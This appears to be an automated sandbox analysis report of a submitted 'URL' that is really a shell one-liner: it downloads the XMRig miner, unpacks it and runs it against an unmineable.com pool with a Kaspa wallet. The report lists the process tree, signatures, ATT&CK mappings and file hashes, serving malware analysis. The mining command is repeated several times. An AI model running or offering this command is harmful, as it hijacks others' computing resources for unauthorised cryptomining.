Analysis

  • max time kernel
    1798s
  • max time network
    1680s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    24-06-2024 23:57

General

  • Target

    http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 -u KAS:kaspa:qrm6wqatnkw8u402vyxe8983hdf62zulkd64ezumzeq3a66tej7l25aan5csr.unmineable_doxlr_boavopyl -p x

Score
4/10

Malware Config

Signatures

  • Changes its process name 64 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 11 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /usr/bin/xdg-open
    xdg-open "http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 -u KAS:kaspa:qrm6wqatnkw8u402vyxe8983hdf62zulkd64ezumzeq3a66tej7l25aan5csr.unmineable_doxlr_boavopyl -p x"
    1⤵
      PID:1422
      • /usr/bin/dbus-send
        dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
        2⤵
        • Reads runtime system information
        PID:1423
        • /usr/bin/dbus-launch
          dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
          3⤵
            PID:1424
            • /usr/bin/dbus-daemon
              /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
              4⤵
              • Reads runtime system information
              PID:1427
              • /usr/libexec/xdg-desktop-portal
                /usr/libexec/xdg-desktop-portal
                5⤵
                • Reads runtime system information
                PID:1572
              • /usr/libexec/xdg-document-portal
                /usr/libexec/xdg-document-portal
                5⤵
                • Reads runtime system information
                PID:1578
              • /usr/libexec/xdg-permission-store
                /usr/libexec/xdg-permission-store
                5⤵
                  PID:1582
                • /usr/libexec/xdg-desktop-portal-gtk
                  /usr/libexec/xdg-desktop-portal-gtk
                  5⤵
                  • Reads runtime system information
                  PID:1592
                • /usr/libexec/gvfsd
                  /usr/libexec/gvfsd
                  5⤵
                    PID:1597
                    • /usr/libexec/gvfsd-trash
                      /usr/libexec/gvfsd-trash --spawner :1.8 /org/gtk/gvfs/exec_spaw/0
                      6⤵
                      • Reads runtime system information
                      PID:1634
                  • /usr/libexec/dconf-service
                    /usr/libexec/dconf-service
                    5⤵
                    • Reads runtime system information
                    PID:1622
                  • /usr/bin/nautilus
                    /usr/bin/nautilus --gapplication-service
                    5⤵
                    • Reads CPU attributes
                    PID:1627
                  • /usr/bin/gnome-keyring-daemon
                    /usr/bin/gnome-keyring-daemon --start --foreground "--components=secrets"
                    5⤵
                    • Reads runtime system information
                    PID:1759
                  • /usr/libexec/gvfs-udisks2-volume-monitor
                    /usr/libexec/gvfs-udisks2-volume-monitor
                    5⤵
                    • Reads runtime system information
                    PID:1769
                  • /usr/libexec/gvfs-afc-volume-monitor
                    /usr/libexec/gvfs-afc-volume-monitor
                    5⤵
                    • Reads runtime system information
                    PID:1775
                  • /usr/libexec/gvfs-mtp-volume-monitor
                    /usr/libexec/gvfs-mtp-volume-monitor
                    5⤵
                    • Enumerates kernel/hardware configuration
                    PID:1781
                  • /usr/libexec/gvfs-gphoto2-volume-monitor
                    /usr/libexec/gvfs-gphoto2-volume-monitor
                    5⤵
                    • Enumerates kernel/hardware configuration
                    PID:1786
                  • /usr/libexec/gvfs-goa-volume-monitor
                    /usr/libexec/gvfs-goa-volume-monitor
                    5⤵
                      PID:1792
                    • /usr/libexec/goa-daemon
                      /usr/libexec/goa-daemon
                      5⤵
                        PID:1796
                      • /usr/libexec/goa-identity-service
                        /usr/libexec/goa-identity-service
                        5⤵
                        • Reads runtime system information
                        PID:1804
                • /usr/bin/grep
                  grep " = \\\"xfce4\\\"\$"
                  2⤵
                    PID:1434
                  • /usr/bin/xprop
                    xprop -root _DT_SAVE_MODE
                    2⤵
                      PID:1433
                    • /usr/bin/grep
                      grep -i "^xfce_desktop_window"
                      2⤵
                        PID:1439
                      • /usr/bin/xprop
                        xprop -root
                        2⤵
                          PID:1438
                        • /usr/bin/grep
                          grep -q "^Enlightenment"
                          2⤵
                            PID:1441
                          • /usr/bin/uname
                            uname
                            2⤵
                              PID:1443
                            • /usr/bin/grep
                              grep -q "^file://"
                              2⤵
                                PID:1445
                              • /usr/bin/egrep
                                egrep -q "^[[:alpha:]+\\.\\-]+:"
                                2⤵
                                  PID:1449
                                • /usr/local/sbin/grep
                                  grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                  2⤵
                                    PID:1449
                                  • /usr/local/bin/grep
                                    grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                    2⤵
                                      PID:1449
                                    • /usr/sbin/grep
                                      grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                      2⤵
                                        PID:1449
                                      • /usr/bin/grep
                                        grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                        2⤵
                                          PID:1449
                                        • /usr/bin/sed
                                          sed -n "s/\\(^[[:alnum:]+\\.-]*\\):.*\$/\\1/p"
                                          2⤵
                                          • Reads runtime system information
                                          PID:1452
                                        • /usr/bin/xdg-mime
                                          xdg-mime query default x-scheme-handler/http
                                          2⤵
                                            PID:1454
                                            • /usr/bin/dbus-send
                                              dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
                                              3⤵
                                              • Reads runtime system information
                                              PID:1456
                                              • /usr/bin/dbus-launch
                                                dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
                                                4⤵
                                                  PID:1457
                                              • /usr/bin/grep
                                                grep " = \\\"xfce4\\\"\$"
                                                3⤵
                                                  PID:1461
                                                • /usr/bin/xprop
                                                  xprop -root _DT_SAVE_MODE
                                                  3⤵
                                                    PID:1460
                                                  • /usr/bin/grep
                                                    grep -i "^xfce_desktop_window"
                                                    3⤵
                                                      PID:1463
                                                    • /usr/bin/xprop
                                                      xprop -root
                                                      3⤵
                                                        PID:1462
                                                      • /usr/bin/grep
                                                        grep -q "^Enlightenment"
                                                        3⤵
                                                          PID:1469
                                                        • /usr/bin/uname
                                                          uname
                                                          3⤵
                                                            PID:1470
                                                          • /usr/bin/sed
                                                            sed "s/:/ /g"
                                                            3⤵
                                                              PID:1473
                                                            • /usr/bin/cut
                                                              cut -d ";" -f 1
                                                              3⤵
                                                                PID:1478
                                                              • /usr/bin/cut
                                                                cut -d "=" -f 2
                                                                3⤵
                                                                  PID:1477
                                                                • /usr/bin/head
                                                                  head -n 1
                                                                  3⤵
                                                                    PID:1476
                                                                  • /usr/bin/grep
                                                                    grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                    3⤵
                                                                      PID:1475
                                                                    • /usr/bin/cut
                                                                      cut -d ";" -f 1
                                                                      3⤵
                                                                        PID:1483
                                                                      • /usr/bin/cut
                                                                        cut -d "=" -f 2
                                                                        3⤵
                                                                          PID:1482
                                                                        • /usr/bin/head
                                                                          head -n 1
                                                                          3⤵
                                                                            PID:1481
                                                                          • /usr/bin/grep
                                                                            grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                            3⤵
                                                                              PID:1480
                                                                            • /usr/bin/cut
                                                                              cut -d ";" -f 1
                                                                              3⤵
                                                                                PID:1488
                                                                              • /usr/bin/cut
                                                                                cut -d "=" -f 2
                                                                                3⤵
                                                                                  PID:1487
                                                                                • /usr/bin/head
                                                                                  head -n 1
                                                                                  3⤵
                                                                                    PID:1486
                                                                                  • /usr/bin/grep
                                                                                    grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                    3⤵
                                                                                      PID:1485
                                                                                    • /usr/bin/cut
                                                                                      cut -d ";" -f 1
                                                                                      3⤵
                                                                                        PID:1493
                                                                                      • /usr/bin/cut
                                                                                        cut -d "=" -f 2
                                                                                        3⤵
                                                                                          PID:1492
                                                                                        • /usr/bin/head
                                                                                          head -n 1
                                                                                          3⤵
                                                                                            PID:1491
                                                                                          • /usr/bin/grep
                                                                                            grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                            3⤵
                                                                                              PID:1490
                                                                                            • /usr/bin/cut
                                                                                              cut -d ";" -f 1
                                                                                              3⤵
                                                                                                PID:1498
                                                                                              • /usr/bin/cut
                                                                                                cut -d "=" -f 2
                                                                                                3⤵
                                                                                                  PID:1497
                                                                                                • /usr/bin/head
                                                                                                  head -n 1
                                                                                                  3⤵
                                                                                                    PID:1496
                                                                                                  • /usr/bin/grep
                                                                                                    grep "x-scheme-handler/http=" /usr/share//applications/defaults.list /usr/share//applications/mimeinfo.cache
                                                                                                    3⤵
                                                                                                      PID:1495
                                                                                                  • /usr/bin/sed
                                                                                                    sed "s/:/ /g"
                                                                                                    2⤵
                                                                                                    • Reads runtime system information
                                                                                                    PID:1501
                                                                                                  • /usr/bin/sed
                                                                                                    sed -e "s|-|/|"
                                                                                                    2⤵
                                                                                                    • Reads runtime system information
                                                                                                    PID:1504
                                                                                                  • /usr/bin/sed
                                                                                                    sed -e "s|-|/|"
                                                                                                    2⤵
                                                                                                    • Reads runtime system information
                                                                                                    PID:1507
                                                                                                  • /usr/bin/cut
                                                                                                    cut "-d=" -f 2-
                                                                                                    2⤵
                                                                                                      PID:1512
                                                                                                    • /usr/bin/which
                                                                                                      which firefox
                                                                                                      2⤵
                                                                                                        PID:1513
                                                                                                      • /usr/bin/cut
                                                                                                        cut "-d=" -f 2-
                                                                                                        2⤵
                                                                                                          PID:1516
                                                                                                        • /usr/bin/cut
                                                                                                          cut "-d=" -f 2-
                                                                                                          2⤵
                                                                                                            PID:1519
                                                                                                          • /usr/bin/cut
                                                                                                            cut "-d=" -f 2-
                                                                                                            2⤵
                                                                                                              PID:1524
                                                                                                            • /usr/bin/firefox
                                                                                                              /usr/bin/firefox "http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 -u KAS:kaspa:qrm6wqatnkw8u402vyxe8983hdf62zulkd64ezumzeq3a66tej7l25aan5csr.unmineable_doxlr_boavopyl -p x"
                                                                                                              2⤵
                                                                                                                PID:1528
                                                                                                                • /usr/bin/which
                                                                                                                  which /usr/bin/firefox
                                                                                                                  3⤵
                                                                                                                    PID:1529
                                                                                                                • /usr/lib/firefox/firefox
                                                                                                                  /usr/lib/firefox/firefox "http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 -u KAS:kaspa:qrm6wqatnkw8u402vyxe8983hdf62zulkd64ezumzeq3a66tej7l25aan5csr.unmineable_doxlr_boavopyl -p x"
                                                                                                                  2⤵
                                                                                                                  • Checks CPU configuration
                                                                                                                  • Reads CPU attributes
                                                                                                                  • Enumerates kernel/hardware configuration
                                                                                                                  • Reads runtime system information
                                                                                                                  • Writes file to tmp directory
                                                                                                                  PID:1528
                                                                                                                  • /usr/local/sbin/dbus-launch
                                                                                                                    dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                    3⤵
                                                                                                                      PID:1533
                                                                                                                    • /usr/local/bin/dbus-launch
                                                                                                                      dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                      3⤵
                                                                                                                        PID:1533
                                                                                                                      • /usr/sbin/dbus-launch
                                                                                                                        dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                        3⤵
                                                                                                                          PID:1533
                                                                                                                        • /usr/bin/dbus-launch
                                                                                                                          dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                          3⤵
                                                                                                                            PID:1533
                                                                                                                          • /usr/lib/firefox/glxtest
                                                                                                                            /usr/lib/firefox/glxtest -f 13
                                                                                                                            3⤵
                                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                                            PID:1536
                                                                                                                          • /usr/bin/lsb_release
                                                                                                                            /usr/bin/lsb_release -idrc
                                                                                                                            3⤵
                                                                                                                              PID:1548
                                                                                                                            • /usr/local/sbin/dbus-launch
                                                                                                                              dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                              3⤵
                                                                                                                                PID:1557
                                                                                                                              • /usr/local/bin/dbus-launch
                                                                                                                                dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                3⤵
                                                                                                                                  PID:1557
                                                                                                                                • /usr/sbin/dbus-launch
                                                                                                                                  dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                  3⤵
                                                                                                                                    PID:1557
                                                                                                                                  • /usr/bin/dbus-launch
                                                                                                                                    dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                    3⤵
                                                                                                                                      PID:1557
                                                                                                                                    • /usr/lib/firefox/firefox
                                                                                                                                      /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -prefsLen 20982 -prefMapSize 234098 -appDir /usr/lib/firefox/browser "{0ec96674-e568-4f43-87da-e1dea8a72971}" 1528 true socket
                                                                                                                                      3⤵
                                                                                                                                      • Reads CPU attributes
                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                      • Reads runtime system information
                                                                                                                                      PID:1570
                                                                                                                                    • /usr/lib/firefox/firefox
                                                                                                                                      /usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 29503 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{05abde2c-b093-4723-a915-85dc9604ad2e}" 1528 true tab
                                                                                                                                      3⤵
                                                                                                                                      • Reads CPU attributes
                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                      • Reads runtime system information
                                                                                                                                      PID:1663
                                                                                                                                    • /usr/lib/firefox/firefox
                                                                                                                                      /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -sandboxingKind 0 -prefsLen 30077 -prefMapSize 234098 -appDir /usr/lib/firefox/browser "{a1db6fb7-c5e6-4ce9-9d5c-81bb49df810c}" 1528 true utility
                                                                                                                                      3⤵
                                                                                                                                      • Reads CPU attributes
                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                      • Reads runtime system information
                                                                                                                                      PID:1698
                                                                                                                                    • /usr/lib/firefox/firefox
                                                                                                                                      /usr/lib/firefox/firefox -contentproc -childID 2 -isForBrowser -prefsLen 26395 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{3ed9eb4e-2829-4cd5-963d-c5f887fb6b91}" 1528 true tab
                                                                                                                                      3⤵
                                                                                                                                      • Reads CPU attributes
                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                      • Reads runtime system information
                                                                                                                                      PID:1705
                                                                                                                                    • /usr/lib/firefox/firefox
                                                                                                                                      /usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 26395 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{9a2d921f-7940-4acd-9dd6-0549c710b04d}" 1528 true tab
                                                                                                                                      3⤵
                                                                                                                                      • Reads CPU attributes
                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                      • Reads runtime system information
                                                                                                                                      PID:1708
                                                                                                                                    • /usr/lib/firefox/firefox
                                                                                                                                      /usr/lib/firefox/firefox -contentproc -childID 4 -isForBrowser -prefsLen 26395 -prefMapSize 234098 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{c4654a2a-397b-467e-a9ff-1cf37454ef74}" 1528 true tab
                                                                                                                                      3⤵
                                                                                                                                      • Reads CPU attributes
                                                                                                                                      PID:1711
                                                                                                                                • /usr/libexec/gvfsd-fuse
                                                                                                                                  /usr/libexec/gvfsd-fuse /root/.cache/gvfs -f -o big_writes
                                                                                                                                  1⤵
                                                                                                                                    PID:1602

                                                                                                                                  Network

                                                                                                                                  MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                                  Defense Evasion

                                                                                                                                  Virtualization/Sandbox Evasion

                                                                                                                                  1
                                                                                                                                  T1497

                                                                                                                                  Discovery

                                                                                                                                  Virtualization/Sandbox Evasion

                                                                                                                                  1
                                                                                                                                  T1497

                                                                                                                                  System Information Discovery

                                                                                                                                  2
                                                                                                                                  T1082

                                                                                                                                  Replay Monitor

                                                                                                                                  Loading Replay Monitor...

                                                                                                                                  Downloads

                                                                                                                                  • /tmp/tmpaddon
                                                                                                                                    Filesize

                                                                                                                                    569KB

                                                                                                                                    MD5

                                                                                                                                    30082ae40dc48af6343db2fd22cfc645

                                                                                                                                    SHA1

                                                                                                                                    3eb577555ee638e8beb01173e8f29e172747a728

                                                                                                                                    SHA256

                                                                                                                                    85d4b95f9b2075daee9b0e64bce8d9d7343d0dda10e6072d7f9485a68472ee76

                                                                                                                                    SHA512

                                                                                                                                    53a58bfb4c8124ad4f7655b99bfdea290033a085e0796b19245b33b91c0948fdac9f0c3e817130b352493a65d9a7a0fc8a7c1eedc618cdaa2b4580734a11cd9c